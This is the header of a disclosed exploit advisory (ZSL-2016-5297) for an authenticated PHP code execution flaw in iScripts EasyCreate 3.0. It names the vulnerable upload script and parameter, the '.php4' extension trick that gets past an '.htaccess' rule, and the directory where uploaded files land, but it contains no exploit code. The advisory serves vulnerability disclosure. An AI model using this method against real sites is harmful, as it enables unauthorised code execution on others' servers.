# iScripts EasyCreate 3.0 Remote Code Execution Exploit
#
#
# Vendor: iScripts.com
# Product web page: http://www.iscripts.com
# Affected version: 3.0
#
# Summary: iScripts EasyCreate is a private label online website builder. This
# software allows you to start an online business by offering website building
# services to your customers. Equipped with drag and drop design functionality,
# crisp templates and social sharing capabilities, this online website builder
# software will allow you to provide the best website building features to your
# users.
#
# Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper verification of
# uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST
# parameter. This can be exploited to execute arbitrary PHP code by uploading
# a malicious PHP script file with '.php4' extension (to bypass the '.htaccess'
# block rule) that will be stored in '/uploads/siteimages/thumb/' directory.
#
# Tested on: Apache
# MySQL 5.5.40
#
# Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2016-5297
